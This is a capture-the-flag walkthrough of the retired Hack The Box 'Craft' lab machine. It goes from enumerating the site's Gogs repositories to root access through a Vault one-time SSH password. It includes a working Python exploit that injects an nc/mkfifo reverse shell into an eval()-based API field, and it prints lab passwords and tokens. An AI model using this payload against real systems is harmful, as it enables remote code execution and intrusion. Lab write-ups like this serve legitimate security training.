Hack the Box – Craft Walkthrough

craft

Today we’re going to solve another CTF machine “ Craft ”. It is now retired box and can be accessible if you’re a VIP member.

Specifications

  • Target OS: Linuxx
  • IP Address: 10.10.10.110
  • Difficulty: Medium

Contents

  • Getting user
  • Getting root

Enumeration

As always, the first step consists of reconnaissance phase as port scanning.

Ports Scanning

During this step we’re gonna identify the target to see what we have behind the IP Address.

nmap -sC -sV -oA 10.10.10.110

nmap

Enumerating Port 443

If we browse the URL https://10.10.10.110 we get this and there’s an API menu let’s click on that.

craft

Enumerating Craft API

If we browse api.craft.htb/api

craft%20api

Enumerating Gogs

If we browse gogs.craft.htb

gogs

We’ll get these two vhosts with API service and Gogs respository service running on server.

If we explore on Gogs there’s an public repository named craft-api .

craft%20api%20repo

There’s an opened Issues by user Dinesh Chugtai which revels craft api token.

abv%20values

curl -H 'X-Craft-API-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImV4cCI6MTU0OTM4NTI0Mn0.-wW1aJkLQDOE-GP5pQd3z_BJTe2Uo0jJ_mQ238P5Dqw' -H "Content-Type: application/json" -k -X POST https://api.craft.htb/api/brew/ --data '{"name":"bullshit","brewer":"bullshit", "style": "bullshit", "abv": "15.0")}

Token can be helpful for later use of accessing craft api.

Dinesh commits a2d28ed155 , c414b16057 has some useful information.

dinesh
4aUh0A8PbVJxgd

cleanup%20test

import requests
import json

-response = requests.get('https://api.craft.htb/api/auth/login',  auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
+response = requests.get('https://api.craft.htb/api/auth/login',  auth=('', ''), verify=False)
json_response = json.loads(response.text)
token =  json_response['token']

Another commit revels vulnerable function being used in code.

fix%20bogus%20abv%20values

There’s an test.py file let’s wget and run it.

wget --no-check-certificate https://gogs.craft.htb/Craft/craft-api/raw/10e3ba4f0a09c778d7cec673f28d410b73455a86/tests/test.py

The script doesn’t run unless we include this in our code.

import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

test

We got the response.

Exploitation

Edit the script and add reverse shell to abv values since we have vulnerable eval() function.

#!/usr/bin/env python
import requests
import json
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
response = requests.get('https://api.craft.htb/api/auth/login',  auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
json_response = json.loads(response.text)
token =  json_response['token']
headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json'  }

# make sure token is valid
response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
print(response.text)

# create a sample brew with bogus ABV... should fail.

print("Create bogus ABV brew")
brew_dict = {}
brew_dict['abv'] = "__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.11 1337 >/tmp/f')"
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'

json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print(response.text)

And we got shell

shell

Looking around in file system, we see .dockerenv file which shows its a docker container.

container

Let’s do ifconfig and check the IP Address of our machine.

ifconfig

settings

FLASK_SERVER_NAME = 'api.craft.htb'
FLASK_DEBUG = False  # Do not use debug mode in production

RESTPLUS_SWAGGER_UI_DOC_EXPANSION = 'list'
RESTPLUS_VALIDATE = True
RESTPLUS_MASK_SWAGGER = False
RESTPLUS_ERROR_404_HELP = False
CRAFT_API_SECRET = 'hz66OCkDtv8G6D'

# database
MYSQL_DATABASE_USER = 'craft'
MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
MYSQL_DATABASE_DB = 'craft'
MYSQL_DATABASE_HOST = 'db'
SQLALCHEMY_TRACK_MODIFICATIONS = False

We found MYSQL Database creds let’s connect to database and see tables.

mysql

user='craft', password='qLGockJ6G2J75O', db='craft'

/opt/app # cat e2.py
#!/usr/bin/env python

import pymysql
from craft_api import settings

# test connection to mysql database

connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
                             user=settings.MYSQL_DATABASE_USER,
                             password=settings.MYSQL_DATABASE_PASSWORD,
                             db=settings.MYSQL_DATABASE_DB,
                             cursorclass=pymysql.cursors.DictCursor)

try: 
    with connection.cursor() as cursor:
        sql = "SELECT * FROM user"
        cursor.execute(sql)
        result = cursor.fetchall()
        print(result)

finally:
    connection.close()
    
/opt/app # python e2.py
[{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, {'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}, {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]

So, we found some creds through mysql.

dinesh::4aUh0A8PbVJxgd
ebachman::llJ77D8QFkLPQB
gilfoyle::ZEU3N8WNM2rh4T

Let’s try those creds on gogs.

gogs

We were able to login into gilfoyle account and we can see private repository named craft-infra .

repo

There’s an .ssh directory which seems interesting.

ssh

There’s an public and private SSH key which needed to be looked let’s download them in to our local machine.

chmod 600 id_rsa
ssh -i id_rsa [email protected]
Password: ZEU3N8WNM2rh4T

ssh%20key

Now, we’re on a real craft machine.

network

Privilege Escalation

There’s an vault token.

vault%20token

vault%20auth

If we login to gilfoyle account on gogs and see private repository there’s and secrets.sh file.

secrets

Let’s read the documentation of vault.

https://www.vaultproject.io/docs/secrets/ssh/one-time-ssh-passwords.html

vault%20login

Now, we have key generated let’s login to ssh with [email protected]

e244d0ef-05d5-29fa-cb0d-4f2ccea022d4

root

1 Like